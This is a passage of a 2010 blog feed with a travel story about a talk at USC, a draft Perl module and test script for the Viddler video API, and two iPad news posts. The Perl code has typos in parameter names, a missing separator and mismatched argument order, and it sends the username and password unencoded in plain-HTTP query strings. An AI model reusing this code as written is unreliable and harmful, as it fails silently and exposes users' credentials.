Speaking of whom, since the link to Josh's blog has long since died and I have since lost contact with him, I offer &lt;a href="http://en.wikipedia.org/wiki/Joshua_Fouts"&gt;this bio of him&lt;/a&gt; courtesy of &lt;a href="http://www.wikipedia.org"&gt;Wikipedia&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;
Oh and if your wondering why the photos look a bit grainy and overexposed, (more photos in the &lt;a href="http://www.flickr.com/photos/pdweinstein/sets/72157623563509990/"&gt;24 Hours in LA LA Land photoset&lt;/a&gt; on &lt;a href="http://www.flickr.com"&gt;Flickr&lt;/a&gt;) that would be because I took them with the first digital camera I owned, an &lt;a href="http://www.dpreview.com/reviews/specs/Epson/epson_photopc500.asp"&gt;Epson PhotoPC 500&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;
&lt;strong&gt;24 Hours in LA LA Land&lt;/strong&gt;&lt;br /&gt;
&lt;a href="http://www.dangerousmonkey.com/"&gt;Josh Fouts&lt;/a&gt; who's the &lt;a href="http://ojr.usc.edu/content/about.cfm#josh"&gt;Managing Editor&lt;/a&gt; of &lt;a href="http://ojr.usc.edu/"&gt;Online Journalism Review&lt;/a&gt; asked on the &lt;a href="http://www.webzine99.com/discussion.html"&gt;Zinesters&lt;/a&gt; mailing list if anyone would be interested in talking to his class at &lt;a href="http://www.usc.edu/"&gt;USC&lt;/a&gt; about what they do for/about/with their webzines.
&lt;br /&gt;&lt;br /&gt;
So, I told Josh I would be interested in coming down (it was a nice reason to drive to LA for a day trip) and kept the idea in the back of my mind. Sometime went by and I thought about what I'd do. I figured I'd make arrangements to see Uncle Mike while I was in town and then just cruise the city since it's been over ten years since I first (and last) was in L.A. As it turned out Mom had to be in Santa Barbra for business and so we made her flight arrangements such that she'd have a few hours stop at LAX.
&lt;br /&gt;&lt;br /&gt;
So, I made arrangements to rent a car for two days, took the days off work and drove down to LA. First thing I did was drive to LAX where I of course couldn't find parking and tracked down Mom in the American Airlines terminal. I was running later then I had planned and had convinced myself that I was only going to be able to say Hi before she had to fly out on a prop-plane to actually do some work. But, I was mistaken on when her second flight was and we talked for a bit and had lunch. It wasn't much since I just seen her over the weekend in Chicago. She hadn't had a chance to call Uncle Mike and since I had a few hours till I had to be at &lt;a href="http://www.usc.edu/"&gt;USC&lt;/a&gt;, she gave me his number. After she left I gave him a call, but got his machine to which I just left a short message and my cell number in case he had some free time. Then I drove about LA looking for all those great LA places. Found Hollywood right away (I was amazed I still knew where abouts in LA it was located at) and cruised Hollywood and Sunset Blvds as well as spending some money at a &lt;a href="http://www.virgin.com/"&gt;Virgin Atlantic&lt;/a&gt; shop.
&lt;br /&gt;&lt;br /&gt;

&lt;/p&gt;&lt;p align="center"&gt;&lt;a href="http://farm5.static.flickr.com/4026/4409706433_0bed9f8d73_o.jpg" rel="milkbox:gall1" title="Grauman's Chinese Theater"&gt;&lt;img src="http://farm5.static.flickr.com/4026/4409706433_6e312a8eae.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;

&lt;br /&gt;
After my little cruise of LA I went back to the USC campus (I had driven by it after leaving the airport just so I knew where it was) and ditched the car in a parking lot. I was giving my little chat at the &lt;a href="http://www.usc.edu/schools/annenberg/"&gt;Annenberg School for Communication&lt;/a&gt; building (having wandered the campus I do have to say it would have been neater to be able to say I gave my talk in the George Lucas Instructional Building or at the Johnny Carson Television Stage instead.) Since I was an hour early Josh and I walked over to a cafeteria and talked a little bit (This was the first time we had talked in person and since I really didn't have any planned remarks the chat became a little interview session and hence Josh need some background if to know where to take the discussion.) This almost made us late for the class and we quickly ran on back so he could start the class. Since his class is a three hour evening class (oh, how I hated my three hour classes in college) He had the class session divided in two. The first hour an a half or so was &lt;a href="http://ojr.usc.edu/content/about.cfm#patrick"&gt;Patrick&lt;/a&gt; teaching the class on &lt;a href="http://www.w3.org/Style/CSS/"&gt;Cascading Style Sheets&lt;/a&gt; and then it was Josh and I talking about my experiences working on my &lt;a href="http://www.weinstein.org"&gt;personal site&lt;/a&gt;, things I do for &lt;a href="http://www.c2.net"&gt;C2Net Software&lt;/a&gt; as well as some of the &lt;a href="http://www.weinstein.org/webzine/whatisawebzine2.txt"&gt;comments&lt;/a&gt; and &lt;a href="http://www.webzine99.com/whoweare.html"&gt;work&lt;/a&gt; I've done in relation to &lt;a href="http://www.webzine99.com/"&gt;webzine&lt;/a&gt;.

&lt;br /&gt;&lt;br /&gt;

&lt;/p&gt;&lt;p align="center"&gt;&lt;a href="http://farm5.static.flickr.com/4061/4409706073_a5f65178cc_o.jpg" rel="milkbox:gall1" title="USC's Annenberg School for Communication"&gt;&lt;img src="http://farm5.static.flickr.com/4061/4409706073_8fe486f119.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;

&lt;br /&gt;
Afterward Josh and I went out to eat a late dinner and chat some more. Then it was on to his home where I crashed for the night. The next morning, I cleaned up, kept from checking my email (I had checked it the night before and knew I'd drag myself into a crap load of work before I got a chance to get home and really focus on work.) So off I went. I stopped by Universal City and Burbank to look around. Then it was up US-101 and homeward bound. When Highway-1 started I picked that up and found &lt;a href="http://www.vafb.af.mil/"&gt;Vandenberg Air Force Base&lt;/a&gt; which has a rich aerospace history. I almost stopped, but I wasn't sure if they had a Visitor's Center and I planned on getting into San Fran. around 5pm to at least return the rent-a-car.
&lt;br /&gt;&lt;br /&gt;
About 100 mile south of Monterrey Hwy-1 was closed which was a pain since I wanted to checkout the area. So I had to double-back to US-101. I didn't get back home till about 9pm, to late to return the car, and a lot later then I had planned. But none the less and fine time indeed.

&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;hr&gt;&lt;br /&gt;
&lt;strong&gt;Josh's Email&lt;/strong&gt;&lt;br /&gt;
I'm teaching a Web "design" class at USC this semester and I'd like to
dedicate a section to Webzines.  I'm having plenty of for profit
representatives come and talk about what and how they do their do, but I'd
really like to have some people come and talk about the nether side of the
Web -- the side that, for me at least, makes the Web enjoyable. And, hell,
I'd like to encourage these students to *not* look at the Web as a get
rich alternative.
&lt;br /&gt;&lt;br /&gt;
Anyway, I'm looking for someone (or ones) to come and do what we did at
Webzine, basically, just talk about why you do that thang you do.
&lt;br /&gt;&lt;br /&gt;
Cheers,
&lt;br /&gt;&lt;br /&gt;
Josh

&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;
&lt;strong&gt;Journey into the Surreal. (aka Yes, this IS LA! aka, WE LOVE IT!)&lt;/strong&gt;&lt;br /&gt;
&lt;a href="http://www.dangerousmonkey.com/monkey000323.htm"&gt;Josh's comments&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;i&gt;Last night &lt;a href="http://www.weinstein.org/" target="link"&gt;Paul&lt;/a&gt; saved my ass from a mob of angry graduate students.&lt;/i&gt; Talk about generous.  He drove all the way down from SF, (well, Oakland actually) to come to the class and talk about &lt;a href="http://www.webzine99.com/" target="link"&gt;Zines&lt;/a&gt;, conflict-of-interest issues and life as a database engineer.  As it happened, it was one of the most interesting classes yet -- at least for me.  (I have to say, I still feel more interested in the guests than the students are.  But, maybe that's just me.) Anyway, the students asked more questions than normal, which was great.  And, they asked interesting questions.
&lt;br /&gt;&lt;br /&gt;
I took him out for dinner for his efforts.  Tried to get into the local watering hole in Marina Del Rey called, "Rock" -- although &lt;i&gt;Rock&lt;/i&gt; hardly counts as a hole because its pretty fucking &lt;i&gt;nice&lt;/i&gt;.  But I know the owners and they always greet us like old friends.  And you gotta dig that feeling of being &lt;i&gt;known&lt;/i&gt; in a fru-fru establishment like that.
&lt;br /&gt;&lt;br /&gt;
Well, &lt;i&gt;Rock&lt;/i&gt; was closed -- nothing in LA is open after 10, which I always find pretty insane -- and so we ended up at Jerry's Deli, across the street.  I'm not a huge fan of Jerry's, the food there can leave me with that &lt;a href="monkey000319" target="link"&gt;toxic&lt;/a&gt; feeling.  But, anyway, we headed on over.  My interest was piqued because, heck, this was one of, say, three 24 hour food joints in LA.
&lt;br /&gt;&lt;br /&gt;
Once inside the experience verged on the kind of clichéd, straight-out-of LAStoriesSwimmingwithSharks/
ValleyGirlClueless/
DebbiedoesHollywood kind of scene.  Right off we see three women  chock-full of silicone in designer "vintage" clothing.  Love that expensive used chic look.  Freaks me out.  Then a battery of men in black with dark sunglasses.  The image was made all the more delicious by the fact that they looked remarkably like &lt;a href="http://www.phill.co.uk/comedy/young/" target="link"&gt;Neil from &lt;i&gt;The Young Ones&lt;/i&gt;&lt;/a&gt;.  Except, if he had gotten rich or something -- which he probably did not get from his days as a teevee celebrity. 
&lt;br /&gt;&lt;br /&gt;
Anyway, it was such a rich tapestry of people and it was all at around midnight on a freaking Wednesday night.  I knew then and there that I was having, what "they" call an LA moment.  Gotta love this place.  Thanks to Paul for making it all possible.
&lt;br /&gt;&lt;br /&gt;
&lt;a href="mailto:josh@dangerousmonkey.com"&gt;May I offer you some silicone with that pie?&lt;/a&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2IojF0kTjabodlmu7M7fHuIdLLk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2IojF0kTjabodlmu7M7fHuIdLLk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2IojF0kTjabodlmu7M7fHuIdLLk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2IojF0kTjabodlmu7M7fHuIdLLk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/WCUHsvvSN_M" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/03/24-hours-in-la-la-land.html</feedburner:origLink></entry>

<entry>
    <title>Viddler API via Perl</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/-m8zf4TIUGs/viddler-api-via-perl.html" />
    <id>tag:pdw.weinstein.org,2010://2.221</id>

    <published>2010-03-13T18:56:01Z</published>
    <updated>2010-03-13T21:39:25Z</updated>

    <summary>Recently, while doing some consulting work, I started working with an new online video platform called Viddler. Much like YouTube, Viddler is a web application, built around videos, that allows one to upload and share on the web. However, unlike...</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Development" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="opensource" label="Open Source" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="perl" label="Perl" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="programming" label="Programming" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="viddler" label="Viddler" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="video" label="Video" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;Recently, while doing some consulting work, I started working with an new online video platform called &lt;a href="http://www.viddler.com/"&gt;Viddler&lt;/a&gt;. Much like YouTube, Viddler is a web application, built around videos, that allows one to upload and share on the web. 
&lt;br&gt;&lt;br&gt;
However, unlike YouTube, Viddler also provides a great deal of features for customization, from the skinning of the video player to the integration of the Viddler platform into customized web applications. The obvious advantage here for a business or organization is the ability to provide video content wrapped within their own branding or application without the expense of building and managing the huge computing infrastructure required for bandwidth and data storage.
&lt;br&gt;&lt;br&gt;
For example, checkout the &lt;a href="http://techtv.mit.edu/"&gt;MIT Tech TV&lt;/a&gt;, a video-sharing site for the MIT community built using Viddler.&lt;br&gt;&lt;br&gt;
Alas, while there is &lt;a href="http://developers.viddler.com/projects/api-wrappers/phpviddler/"&gt;plenty of support for the Viddler Application Programming Interface via PHP&lt;/a&gt;, which is what my consulting work is based in, the &lt;a href="http://developers.viddler.com/projects/api-wrappers/perlviddlerupload/"&gt;support for Perl is quite anemic&lt;/a&gt;. 
&lt;br&gt;&lt;br&gt;
To help rectify this dire situation, in my free time over the last week or so, I've been working on an Perl module that wraps around Viddler's API. The goal here is not only to provide a basic how-to, but a quick method for integrating Perl-based applications with Viddler. As such, I plan on having something more formal to submit, not only to &lt;a href="http://developers.viddler.com/projects/"&gt;Viddler's Project Directory&lt;/a&gt;, but to &lt;a href="http://www.cpan.org/"&gt;CPAN&lt;/a&gt; as well, in the near future.&lt;br&gt;&lt;br&gt;
With that in mind, here's the basic layout with a few implemented methods for guidance and testing:
&lt;/p&gt;
&lt;div style="margin 5px; padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;package Viddler;

use strict;
use warnings;

use LWP::Simple;
use XML::Simple;

our $VERSION = "0.01";

### To Do
#
# Complete support of all API methods
# Add SSL option for methods such as users_auth
# Validation/Error Handling of parameters/results 
#
#### 

=head1 NAME

Viddler - An encapsulation of the Viddler video platform in Perl

=head1 SYNOPSIS

use Viddler;
my $videos = new Viddler( apiKey =&amp;gt; $apiKey, 
			  username =&amp;gt; $username,
			  password =&amp;gt; $passwd,
			);

print "API Version: " .$videos-&amp;gt;api_getInfo(). "\n";

=head1 DESCRIPTION

This is an object-oriented library which focuses on pro diving Perl 
specific methods for accessing the Viddler video service via their 
API, as documented at: 
http://developers.viddler.com/documentation/api/

=head2 Methods

=head3 new

my $video = Viddler-&amp;gt;new( apikey =&amp;gt; $key, 
			  username =&amp;gt; $username, 
			  password =&amp;gt; $passwd );

Instantiates an object which established the basic connection to 
the API, including requesting and setting session id.

=cut

# The constructor of an object is called new() by convention.  
   
sub new {

	my ( $class, %args ) = @_;
	my $new = bless {
		_apiURL =&amp;gt; 'http://api.viddler.com/rest/v1/',
		_sessionID =&amp;gt; undef,
		_record_token =&amp;gt; undef,
		%args
	}, $class;

	# Get a sessionid
	$new-&amp;gt;users_auth;

	return $new;

}

=head3 users_auth

Gets and sets a sessionid for an authenticated Viddler account.
Returned sessionid is valid for 5 minutes (may change in the
future). Every method request which contains valid sessionid,
renews its validity time.

$video-&amp;gt;users_auth;

No required parameters. Will use username and password defined
at object's creation

Additional options parameters include: 

* get_record_token: If set to response will also include
recordToken

Returns 0 ( false ) if unsucessful and 1 ( true ) if sucessful

=cut

sub users_auth {

	my ( $self, $get_record_token ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self-&amp;gt;{_apiURL}. 
		"?method=viddler.users.auth&amp;amp;api_key="
		.$self-&amp;gt;{apiKey}. "&amp;amp;user=" .$self-&amp;gt;{username}. 
		"&amp;amp;password=" .$self-&amp;gt;{password}. 
		"get_record_token=" .$get_record_token;
	my $results = $xml-&amp;gt;XMLin( $content );
	$self-&amp;gt;{_sessionID} = $results-&amp;gt;{'sessionid'};
	
	if ( defined $results-&amp;gt;{'get_record_token'} ) {

		$self-&amp;gt;{_recordToken} = $results-&amp;gt;{'record_toaken'};

	}

	if ( defined ( $self-&amp;gt;{_sessionID} )) {

		return 1;

	} else {

		return 0;

	}

}

=head3 api_getInfo

Gets and returns the current version of the Viddler API.

$video-&amp;gt;api_getInfo;

Returns current API version as a string

=cut

sub api_getInfo {

	my ( $self ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self-&amp;gt;{_apiURL}. 
		"?method=viddler.api.getInfo&amp;amp;api_key=" 
		.$self-&amp;gt;{apiKey};
	my $results = $xml-&amp;gt;XMLin( $content );
	return $results-&amp;gt;{'version'};

}

=head3 videos_search

Gets and returns results of a search of Viddler videos and people.

$video-&amp;gt;videos_search( $type, $query, $page, $per_page );

Requires the following parameters:

* type: The type of search (e.g. "myvideos", 
"friendsvideos", "allvideos", "relevant", "recent", "popular",
 "timedtags", "globaltags". (The "timedtags" and "globetags"
sorting argument should be used in conjunction with an actual 
tag being given for the query argument.))

* query: What to search for (e.g. "iPhone", "Pennsylvania", or 
"Windows XP")

Additional options parameters include: 

* page: The "page number" of results to retrieve (e.g. 1, 2, 3).

* per_page: The number of results to retrieve per page (maximum 
100). If not specified, the default value equals 20.

Returns a hash of an array of search results

=cut

sub videos_search( $$ ) {

	my ( $self, $type, $query, $page, $per_page ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self-&amp;gt;{_apiURL}. 
		"?method=viddler.videos.search&amp;amp;api_key=" 
		.$self-&amp;gt;{apiKey}. "&amp;amp;type=" .$type. 
		"&amp;amp;query=" .$query. "&amp;amp;page=" .$page. 
		"&amp;amp;per_age=" .$per_page. "&amp;amp;sessionid=" 
		.$self-&amp;gt;{_sessionID};
	my $results = $xml-&amp;gt;XMLin( $content );
	return $results;

}

=head3 videos_getByUser

Gets and returns a lists of all videos that were uploaded by the 
specified user.

$video-&amp;gt;videos_getByUser( $user, page, $per_page, $tags, $sort );

Requires the following parameters:

* user: The chosen Viddler user name. You can provide multiple 
coma separated viddler usernames

Additional options parameters include: 

* page: The of results to retrieve (e.g. 1, 2, 3).

* per_page: The number of results to retrieve per page (maximum 
100). If not specified, the default value equals 20.

* tags: The tags you would like to filter your query by.

* sort: How you would like to sort your query (views-asc, 
views-desc, uploaded-asc, uploaded-desc)

Returns a hash of an array of search results

=cut

sub videos_getByUser( $ ) {

	my ( $self, $user, $per_page, $page, $tags, $sort ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self-&amp;gt;{_apiURL}. 
		"?method=viddler.videos.getByUser&amp;amp;api_key=" 
		.$self-&amp;gt;{apiKey}. "&amp;amp;sessionid=" 
		.$self-&amp;gt;{_sessionID}. "&amp;amp;user=" .$user. 
		"&amp;amp;page=" .$page. "&amp;amp;per_age=" .$per_page. 
		"&amp;amp;tags=" .$tags. "&amp;amp;sort=" .$sort;
	my $results = $xml-&amp;gt;XMLin( $content );
	return $results;

}

=head1 AUTHOR

Paul Weinstein pdw [at] weinstein [dot] org

=cut

1;
__END__
&lt;/pre&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;And here's a little code to test the demo package:&lt;/p&gt;
&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;#!/usr/bin/perl -T

use strict;
use warnings;

use Data::Dumper;
use Viddler;

my $videos = new Viddler( apiKey =&amp;gt; '1234567890abcdefghij', 
			  username =&amp;gt; 'username',
			  password =&amp;gt; 'password',
			);

print "API Version: " .$videos-&amp;gt;api_getInfo(). "\n";

my $searchResults = $videos-&amp;gt;videos_getByUser( "username", 
						"", "", 
						"test", "" );
print Dumper( $searchResults );
&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;Comments, suggestions or corrections are quite welcomed.
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/h5fkXUW_3sDXXiXgMzAb4yfENpI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/h5fkXUW_3sDXXiXgMzAb4yfENpI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/h5fkXUW_3sDXXiXgMzAb4yfENpI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/h5fkXUW_3sDXXiXgMzAb4yfENpI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/-m8zf4TIUGs" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/03/viddler-api-via-perl.html</feedburner:origLink></entry>

<entry>
    <title>Apple iPad Preorders Begin</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/W_kRZBs-k3c/apple-ipad-preorders-begin.html" />
    <id>tag:pdw.weinstein.org,2010://2.220</id>

    <published>2010-03-13T00:21:11Z</published>
    <updated>2010-03-12T18:30:34Z</updated>

    <summary>Apple is taking preorders for its highly anticipated iPad tablet via the company's web site.</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="iPhone" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apple" label="Apple" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ipad" label="iPad" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="iphone" label="iPhone" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technology" label="Technology" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technorati" label="Technorati" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p align="right"&gt; First published: &lt;a href="http://technorati.com/technology/article/apple-ipad-preorders-begin/"&gt;12th of March 2010&lt;/a&gt; for &lt;a href="http://www.technorati.com/"&gt;Technorati&lt;/a&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;&lt;a href="http://pdw.weinstein.org/2010/03/ipad-sales-set-to-start-april-3.html"&gt;As announced last week&lt;/a&gt; Apple has begun &lt;a href="http://store.apple.com/us/browse/home/shop_ipad/family/ipad?mco=MTcyMTgwNjM"&gt;taking pre-orders from United States customers&lt;/a&gt; for its upcoming Wi-Fi and Wi-Fi + 3G model iPad.
&lt;br /&gt;&lt;br /&gt;
Customers are being limited to pre-ordering no more than two devices, but Apple is including free delivery where possible.
&lt;br /&gt;&lt;br /&gt;
The Wi-FI only model is due to beginning arriving in homes and stores on April 3rd while the Wi-Fi with 3G model iPad won't beginning shipping until sometime later in the month. Both the Wi-Fi and 3G models will be also become available in the U.K., Canada, France, Germany, Australia, Italy, Japan, Span and Switzerland late April.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://pdw.weinstein.org/files/ipad.jpeg" alt="" /&gt;&lt;/p&gt;
The iPad starts at $499 for the 16GB model with Wi-Fi. Two additional Wi-Fi models are available with greater memory, $599 for 32GB and $699 for 64GB. 
&lt;br /&gt;&lt;br /&gt;
While the iPad will initially release with a updated version of what is known as the iPhone OS, &lt;a href="http://www.appleinsider.com/"&gt;AppleInsider&lt;/a&gt; is reporting that Apple is working on a major summer update that will &lt;a href="http://www.appleinsider.com/articles/10/03/11/apples_iphone_4_0_software_to_deliver_multitasking_support.html"&gt;introduce a multitasking solution&lt;/a&gt; of the mobile multitouch platform.
&lt;br /&gt;&lt;br /&gt;
Citing sources "with a proven track record in predicting Apple's technological advances" they report that development is in full swing, but that "the iPhone Software 4.0 remains under development and reportedly has a quite 'way to go' before it's ready for prime time."
&lt;br /&gt;&lt;br /&gt;
AppleInsider then goes on to speculate on some the issues Apple will need to address, including security, user experience, battery life and other optimize resource conservation issues before the feature is released.
&lt;br /&gt;&lt;br /&gt;
It is unclear if the given summer time-frame is from the reliable source or AppleInsider speculation. None the less, Apple annually holds its World Wide Developer Conference during the summer, and the past two years of the conference have brought refreshes of the iPhone OS.
&lt;br /&gt;&lt;br /&gt;
Meanwhile, not to be left behind, Microsoft made news this past week in regards to their own tablet-based computing initiatives. &lt;a href="http://www.engadget.com/"&gt;Engadget&lt;/a&gt; last week, shorty after Apple announced the iPad's April 3rd availability, &lt;a href="http://www.engadget.com/2010/03/05/microsofts-courier-digital-journal-exclusive-pictures-and-de/"&gt;broke with news&lt;/a&gt; from its "extremely trusted source" that Microsoft's Courier will be a folding 10x14 "digital journal" that is built on the Tegra 2 mobile processor and will run the same OS as the Zune HD, Pink, and Windows Mobile 7 Series smartphones.
&lt;br /&gt;&lt;br /&gt;
But while the iPad is the could-be hit of the summer, one will have to wait until fall or winter for the Courier.
&lt;br /&gt;&lt;br /&gt;
No matter what, it seems that in some form or another the must-have-gadget of 2010 is going to be a tablet.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

&lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=5de1551d-e76c-4419-a7e1-704ef42a1eb8" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZXOuG0Xp8uobY5mwwyFDChb-PMo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZXOuG0Xp8uobY5mwwyFDChb-PMo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZXOuG0Xp8uobY5mwwyFDChb-PMo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZXOuG0Xp8uobY5mwwyFDChb-PMo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/W_kRZBs-k3c" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/03/apple-ipad-preorders-begin.html</feedburner:origLink></entry>

<entry>
    <title>iPad Sales Set to Start April 3</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/FC_VA6jFK0A/ipad-sales-set-to-start-april-3.html" />
    <id>tag:pdw.weinstein.org,2010://2.219</id>

    <published>2010-03-06T02:13:14Z</published>
    <updated>2010-03-06T02:19:33Z</updated>

    <summary>Pre-ordering for Apple's new mobile device will start March 12.</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apple" label="Apple" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ipad" label="iPad" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technorati" label="Technorati" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p align="right"&gt; First published: &lt;a href="http://technorati.com/technology/article/ipad-sales-set-to-start-april/"&gt;5th of March 2010&lt;/a&gt; for &lt;a href="http://www.technorati.com/"&gt;Technorati&lt;/a&gt;&lt;/p&gt;
&lt;br /&gt;
Today &lt;a href="http://www.apple.com/pr/library/2010/03/05ipad.html"&gt;Apple has announced&lt;/a&gt; that their recently introduced iPad tablet will be available for purchase starting Saturday April 3.
&lt;br /&gt;&lt;br /&gt;
While this initial release will only include the Wi-Fi model in the Unites States, Apple is planning to have the Wi-Fi and Wi-Fi with 3G models available in the U.S., Australia, Canada, France, Germany, Italy, Japan, Spain, Switzerland, and the UK by late April.
&lt;br /&gt;&lt;br /&gt;
In addition to the products' availability in April, Apple will begin allowing customers in the U.S. to pre-order either model from Apple's online stores starting March 12.
&lt;br /&gt;&lt;br /&gt;
&lt;a href="http://pdw.weinstein.org/2010/01/apples-ipad-tablet-includes-cool-new-apps-and-features.html"&gt;Introduced in January&lt;/a&gt;, Apple announced to the world its evolution of the widely successful and innovative iPhone. The iPad weighs  1.5 pounds, has a 9.7-inch color display and a custom built dual CPU and graphics chip. The 16GB model, without a 3G radio but with Wi-Fi, will cost $499, and 32GB and 64GB models, also sans 3G, are priced $599 and $699, respectively. Models with 3G radios will cost an extra $130.
&lt;br /&gt;&lt;br /&gt;
While this latest announcement has finally set a firm date for the product's release, it is still to be seen how successful the initial release of the iPad will be. &lt;a href="http://www.appleinsider.com/articles/10/03/04/minor_delays_in_ipad_production_could_limit_apple_launch_to_200k.html"&gt;Recent rumors&lt;/a&gt; have suggested that Apple has run into  manufacturing issues that could limit the number of first available iPads to some 250,000 devices.
&lt;br /&gt;&lt;br /&gt;
While some issues should be expected with bringing a new device to market, the reliability of these rumors, which vary the severity of the issues being dealt with, cast some doubt on a smooth and orderly rollout for Apple's new mobile computing device.
&lt;br /&gt;&lt;br /&gt;
However, one thing is certain: no matter how many initial units will be made available for purchase on April 3, one can expect long lines of individuals camping out in front of their favorite Apple store the last week of March and every weekend in April.&lt;p&gt;&lt;/p&gt; 
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9HkXDR-upparmcadw0KS7zIKTmA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9HkXDR-upparmcadw0KS7zIKTmA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9HkXDR-upparmcadw0KS7zIKTmA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9HkXDR-upparmcadw0KS7zIKTmA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/FC_VA6jFK0A" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/03/ipad-sales-set-to-start-april-3.html</feedburner:origLink></entry>

</feed>
